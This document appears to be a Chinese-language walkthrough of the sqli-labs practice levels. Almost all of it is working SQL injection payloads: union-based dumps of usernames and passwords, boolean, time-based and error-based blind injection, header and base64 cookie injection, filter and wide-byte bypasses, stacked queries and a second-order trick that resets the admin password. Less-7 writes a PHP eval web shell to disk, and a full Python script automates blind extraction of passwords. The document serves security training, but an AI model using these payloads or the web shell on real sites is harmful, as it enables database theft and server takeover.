聯合注入
less-1(字符型)
-
添加單引號尋找注入點,然后閉合單引號
-
order by()
判斷列數,三列時回顯正常
-
查詢任意不存在的數,得到顯示位
-
使用
database()
函數查詢當前庫名
或直接查詢所有庫名
http://192.168.10.7/sqli/Less-1/?id=-1%E2%80%99+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+
- 查詢
security
下的所有表名
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+
- 查詢
users
表的字段名
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+
- 查內容
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,group_concat(username),group_concat(password)+from+users--+
less-2(數字型)
- 尋找注入點
-1 or 1=1 --+
- 判斷字段列數,payload如下:
http://192.168.10.7/sqli/Less-2/?id=1+order+by(3)
3. 之后就和第一關一摸一樣payload如下:
?id=-1+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+ //查庫
?id=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+ //查表
?id=-1+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+ //查字段
?id=-1+union+select+1,group_concat(username),group_concat(password)+from+users--+ //查內容
less-3(特殊閉合)
需要加')
閉合
?id=-1%27)--+ //注入點
?id=-1%27)+order+by(3)--+ //判斷字段數
?id=-1%27)+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+ //查庫
?id=-1%27)+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+ //查表
?id=-1%27)+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+ //查字段
?id=-1%27)+union+select+1,group_concat(username),group_concat(password)+from+users--+ //查內容
less-4(特殊閉合)
需要加")
閉合,其他和第三關一摸一樣
盲注
less-5
添加單引號會報錯,但是嘗試之前的注入方法,會發現頁面不再會返回我們注入的信息,如果注入成功的話,頁面會返回You are in...。
出錯的話就不會返回這個字符串,所以這里我們可以進行盲注。
left()+length()
/*使用1' and left(version(),1)=3%23這個payload進行測試,截取version()得到的最左側的字符判斷是否為3,如果為3則正常返回You are in...,否則不返回。
*所以我們可以利用這個一步一步爆破得到left(version(),1)=5。爆破區間可以確定在/[0-9.]/。
*采用1'and length(database())=8%23對數據庫名字長度進行爆破,確定數據庫名字長度之后,我們可以使用database()來進行爆破數據庫名,
*采用left(database(),1)>'a'這個payload進行測試,原*理跟上述一致,看返回即可,直到截取長度與數據庫名字一致為止,這里效率比較高的就是采用二分法進行盲注。
*/
?id=1%27+and+left(database(),1)='s'--+ /*庫名左側第一位為s.......依次枚舉*/
regexp
/*user()的結果是root,regexp為匹配root的正則表達式。則可以構造如下*/
?id=1%27+and+user()+regexp+'r'--+
?id=1%27+and+user()+regexp+'ro'--+
?id=1%27+and+user()+regexp+'roo'--+
?id=1%27+and+user()+regexp+'root'--+
/*查詢其他同理依次枚舉*/
like
/*匹配與regexp相似。例如當前版本的第一個字符為5:*/
?id=1%27+and+version()+like+'5%'--+
substr()
/*substr(a,b,c)從位置b開始,截取a字符串c位長度。*/
?id=1'+and+substr((select+database()),1,1)='s'--+
?id=1'+and+substr((select+database()),1,2)='se'--+
?id=1'+and+substr((select+database()),1,3)='sec'--+
......
ascii()
/*將某個字符串轉化為ascii值,可以和substr()聯合起來用*/
?id=1%27+and+ascii(substr((select+database()),1,1))=115--+ //s的ascii值為115
ord()、mid()
/*mid(column_name,start[,length]) //從位置start開始,截取column_name字符串的length位,與substr作用相同*/
/*cast(username as char)將username轉換成字符串*/
/*ifbull(exp1,exp2)假如expr1不為NULL,則ifnull()的返回值為expr1; 否則其返回值為expr2*/
/*ord() //將某個字符轉換成ascii碼,同ascii()*/
?id=1'+and+ord(mid((select+ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
sleep()
/*根據時間延遲來判斷,執行的成功與否*/
?id=1%27+and%20if(ascii(substr(database(),1,1))=116,1,sleep(5))--+
//數據庫的第一個字符是s,ascii碼為115執行錯誤觸發延時
less-6
與第五關相同,只不過注入點由單引號變為雙引號
less-7(導出文件)
/*需要先在靶機my.ini中添加secure-file-priv=''然后重啟MySQL*/
/*寫入一句話木馬*/
?id=1'))+union+select+1,2,'<?php @eval($_post[“mima”])?>'+into+outfile+"C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\shell.php"--+
less-8
/*單引號閉合,延時注入*/
?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
對於延時盲注而言,一般不會手動去一個一個猜解,利用python腳本可以很方便的跑出來,例如以下腳本:
import requests
import time
import datetime
url = "http://127.0.0.1/sqli/Less-8/index.php"
p1 = 'abcdefghijklmnopqrstuvwxyz'
#獲取數據庫長度
def database_len():
for i in range(1,10):
payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i
url1 = url +payload
#print(url1)
time1 =datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3 = (time2-time1).total_seconds() #計算時間差, 忽略天 只看時分秒 total_seconds() 真正的時間差 包含天
if time3 >= 4:
print(i)
else:
print(i)
break
print('數據庫長度為:',i)
#database_len()
#獲取數據庫名
def datebase_name():
name=''
for i in range(1,9):
for j in p1:
payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).total_seconds()
if time3 >= 4:
name += j
print(name)
break
n = name
print('數據庫名字為:'+n)
#datebase_name()
#獲取表
def tables_name():
global table4
table1=''
table2=''
table3=''
table4=''
for i in range(5):
for j in range(1,6):
for t in p1:
payload="?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).seconds
if time3 >= 3:
if i == 0:
table1 +=t
print('第一個表為:',table1)
elif i == 1:
table2 += t
print('第二個表為:',table2)
elif i == 2:
table3 +=t
print('第三個表為:',table3)
elif i == 3:
table4 += t
print('第四個表為:',table4)
else:
break
print('第一個表為'+table1)
print('第二個表為'+table2)
print('第三個表為' + table3)
print('第四個表為' + table4)
#tables_name()
#獲取表中的字段
def table_column():
global column3
column1=''
column2=''
column3=''
f=table4
for i in range(3):
for j in range(1,9):
for t in p1:
payload="?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)='%s'),5,0)) --+"%(f,i,j,t)
url1 =url+payload
#print(url1)
time1 = datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2 - time1).seconds
if time3 >= 5:
if i == 0:
column1 += t
print('字段一為:'+column1)
elif i == 1:
column2 += t
print('字段二為:'+column2)
elif i == 2:
column3 += t
print('字段三為:'+column3)
else:
break
print('users字段一為:'+column1)
print('字段二為:'+column2)
print('字段三為:',column3)
#table_column()
def s_content():
content1=''
f1= column3
f2= table4
for i in range(20):
for t in p1:
payload = "?id=1' and sleep(if((mid((select %s from %s limit 7,1),%s,1)='%s' ),3,0)) --+"%(f1,f2,i,t)
url1 =url+payload
#print(url1)
time1=datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2-time1).seconds
if time3 >=3:
content1 += t
print('password字段一內容為:'+content1)
break
print('字段內容為:'+content1)
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('總花費時間為',end_start_time,'秒')
less-9
/*單引號閉合,同理直接延時注入*/
?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
less-10
/*雙引號閉合,同理延時注入*/
?id=1"%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
less-11
/*這里需要burp或hackber來提交post請求,單引號閉合,使用報錯注入*/
' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a--+
' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x--+
less-12
/*雙引號加括號閉合,同11*/
") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a--+
less-13
/*無回顯,但是錯誤會顯示,所以使用布爾注入或延時*/
1') or 1=1#
less-14
/*可以使用報錯注入*/
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
less-15
/*延時注入*/
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
less-16
/*雙引號加括號閉合,同15*/
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
less-17
/*用戶名存在過濾,所以在密碼處使用報錯*/
admin
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
http標頭注入
less-18
/* Header 頭注入*/
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),"1","1")#
less-19
/*Referer注入*/
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
cookie注入
less-20
/*cookie 注入,登錄成功后 cookie處報錯注入即可*/
admin
admin登陸后獲取cookie
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
less-21
/*cookie 加上了 base64,所以構造一下payload即可*/
admin處單引號加括號閉合
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSAjIA==
less-22
/*同21,只不過用雙引號閉合*/
payload為:
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpICMg
注釋符過濾
less-23
/*這里#、--+均被過濾了,可以用or "1"="1來閉合后面的引號*/
payload為:
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
二次注入
less-24
/*這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以以自己的密碼修改 admin 的密碼了,因為修改密碼處形成的 sql 語句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
這樣#就注釋掉了后面的 sql 語句
*/
點擊新注冊賬號
注冊admin'#
使用admin'#登錄
修改密碼為654321
因為用戶名為admin'#
Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
然后使用admin登錄,其密碼為654321
less-25
/*這里頁面,直接提示我們and和or被過濾了,然並卵*/
第一種,直接使用常規方式注入:
?id=-1' union select 1,2,3--+
第二種,查看源代碼發現,只過濾了一次,和xss一樣雙寫and和or即可
less-25a
查看源代碼發現由字符型變成了數字型,其他方面和25相同
less-26
查看源代碼發現閉合方式為單引號,並且過濾了: and、or、空格、#、--,其實只需要把關鍵字替換一下即可
payload為:
?id=1'||left(database(),1)='s'%26%26'1'='1
less-26a
直接使用布爾注入
?id=1'||%0adatabase()%0a='security'%26%26'1'%3d'1
less-27
查看源代碼可以發現,過濾變得更加嚴格,但是稍微變化一下payload,也就能繞過了
less-27a
可以看到,它這里給我們輸入的id前后拼接上了雙引號
payload為:
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
less-28
查看源代碼,可以發現其閉合方式為:')
過濾了union+ select,那么直接盲注即可
payload為
?id=0')||database()%0ALIKE%0A'security%';%00
less-28a
通過源文件可以發現,只過濾了union+select
pyaload為:
0')||left((database()),1)='s';%00
less-29
payload為:
1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-30
與29關大體相似,只不過加了雙引號
payload:
1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-31
閉合變成了")
payload為:
1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
寬字節注入
less-32
注意是GBK編碼,可以用%df等進行寬字節注入
payload為:
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-33
payload為:
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-34
無非就是提交方式變成了POST
payload為:
0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23
less-35
payload為:
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-36
payload為:
-1%df' union select 1,2,3 --+
less-37
payload為:
0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23
堆疊注入
less-38(字符型)
payload為:
1';create table test like users;%23
less-39(數字型)
payload為:
1;create table test like users;%23
less-40
閉合變為單引號括號
payload為:
1');create%20table%20testss%20like%20users;%23
less-41
payload為:
1;create table test41 like users;%23
less-42
提交方式變為POST
password處無過濾
payload為:
1'%3bcreate+table+test42+like+users%3b%23
less-43
password處無過濾,閉合方式為')
payload為:
1')%3bcreate+table+test43+like+users%3b%23
less-44
password處無過濾
payload為:
1'%3bcreate+table+test44+like+users%3b%23
less-45
payload為:
1')%3bcreate+table+test45+like+users%3b%23
less-46
loading...........